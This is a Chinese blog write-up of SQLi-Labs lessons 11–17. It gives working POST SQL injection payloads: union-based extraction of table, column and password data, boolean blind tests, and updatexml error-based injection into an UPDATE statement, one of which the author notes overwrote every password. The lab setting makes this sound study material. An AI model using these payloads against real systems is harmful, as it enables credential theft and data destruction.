SQLi-Lab练习笔记(11-17)

Lesson 11单引号字符串

POST注入直接填写Payload不方便,而且还有可能被前端的输入过滤机制过滤掉,所以使用了Burp Suite代理截获请求包,如图所示:
在这里插入图片描述
验证漏洞:

uname=aaa’ or 1=1 #&passwd=bbb&submit=Submit
uname=aaa’ or 1=2 #&passwd=bbb&submit=Submit

exp:

uname=Dumb’ order by 3 #&passwd=bbb&submit=Submit //验证select列数为2
uname=aaa’ union select database(),user() #&passwd=bbb&submit=Submit //获取用户名和数据库名
uname=aaa’ union select table_name,2 from information_schema.tables where table_schema=database() limit 0,1#&passwd=bbb&submit=Submit //遍历表
uname=aaa’ union select column_name,2 from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1#&passwd=bbb&submit=Submit //遍历列名
uname=aaa’ union select username, password from users limit 0,1#&passwd=bbb&submit=Submit //获取指定字段值

Lesson 12双引号加括号

根据Lesson 12的标题,对照上次做的GET类型猜测应该是用括号把查询的值包裹起来了,所以尝试了一下:

uname=a") or 1=1 #&passwd=11&submit=Submit //可以注入

exp:

uname=a") union select database(),user() #&passwd=11&submit=Submit //获取数据库信息
uname=a") union select username, password from users limit 0,1 #&passwd=11&submit=Submit //获取指定表的指定字段值

Lesson 13单引号括号无回显

看了一下源码,需要闭合括号:

uname=aa’) or ‘1’=‘1’ #&passwd=2&submit=Submit //显示出成功的图片

exp:

uname=aaa’) or length(database())=8 #&passwd=2&submit=Submit //确定数据库名称长度为8
uname=aaa’) or left(database(),1)=‘s’ #&passwd=2&submit=Submit //确定数据库名第一个字符为s
中间的省略…
uname=aaa’) or length((select username from users limit 0,1))=4 #&passwd=2&submit=Submit //确定username的长度为4
uname=aaa’) or left((select username from users limit 0,1),1)=‘D’ #&passwd=2&submit=Submit //确定查询出的username值第一个字符为D

Lesson 14双引号字符串

这个和上一节的标题一样的,但是绕过不一样,可能是作者搞错了。
在这里插入图片描述
试了几发不中之后选择看源码,原来就是拿双引号替换了单引号。。。
exp:

uname=11" or length(database())=8 #&passwd=11&submit=Submit //获取数据库名长度
uname=11" or mid(database(),1,1)=‘s’ #&passwd=11&submit=Submit //确定数据库名第一个字符是s
…其他的类似

Lesson 15单引号盲注

和Lesson 13类似,甚至还要简单,这个不需要括号了。
exp:

uname=1’ or length(database())=8 #&passwd=2&submit=Submit //验证数据库名长度为8
uname=1’ or left(database(),1)=‘s’ #&passwd=2&submit=Submit //数据库第一个字符为s

Lesson 16和Lesson 12一样 双引号加括号

Lesson 17Update注入报错

通过源码发现这里首先对uname的值进行了反斜杠过滤和转义,且只截取前15个字符,所以这里只能考虑对passwd下手。源码里先执行一次对用户名的查询,后执行一次更新,其中更新语言是这么写的:

UPDATE users SET password = '$passwd' WHERE username='$row1';

我的第一感觉是控制password,从后面的单引号开始截断,但是这里还需要保证通过第一次查询的语句,不然不会执行我构造的password,值得注意的是题目中给出了用户名Dhakkan,于是造出了如下的payload:

uname=Dhakkan&passwd=123’ where 1=1 and if(length(database())=8,sleep(5),1) %23

运行以后发现确实截断SQL语句成功了,但是执行了好长一段时间。回头再看一下发现这么做非常不合适甚至有些危险,因为这么做实际上一旦后面的语句成真就会更新整个数据表的记录,打开数据库一看果然所有密码都成了123,这也解释了为什么会执行的如此之慢,每条记录停留5秒,共执行13*5=65秒。
在这里插入图片描述
去查了下大佬们的做法,基本都是报错注入:

uname=Dhakkan&passwd=12333333’ or updatexml(1,concat(0x2b5d7e,database(),0x2b5d7e), 1) %23

在这里插入图片描述

当updatexml(arg1,arg2,arg3)的第二个参数为xpath语法,我们给他一个错误的xpath格式就会返回错误信息并在前端显示。而且报错时程序不会继续执行,即不会更改数据库中的值,而需要使用concat()函数连接上一些奇怪的字符,一是为了引起报错,二是为了把我们想要的信息与其他报错提示区分开来。
exp:

uname=Dhakkan&passwd=12333333’ or updatexml(1,concat(0x2b5d7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x2b5d7e), 1) %23
执行结果为:XPATH syntax error: ‘+]~users+]~’

uname=Dhakkan&passwd=12333333’ or updatexml(1,concat(0x2b5d7e,(select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),0x2b5d7e), 1) %23
遍历表中的字段名

在这里插入图片描述

uname=Dhakkan&passwd=12333333’ or updatexml(1,concat(0x2b5d7e,(select username from (select * from users limit 0,1)bieming),0x2b5d7e), 1) %23
查询表字段值这里需要用到别名,否则不符合SQL语法

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值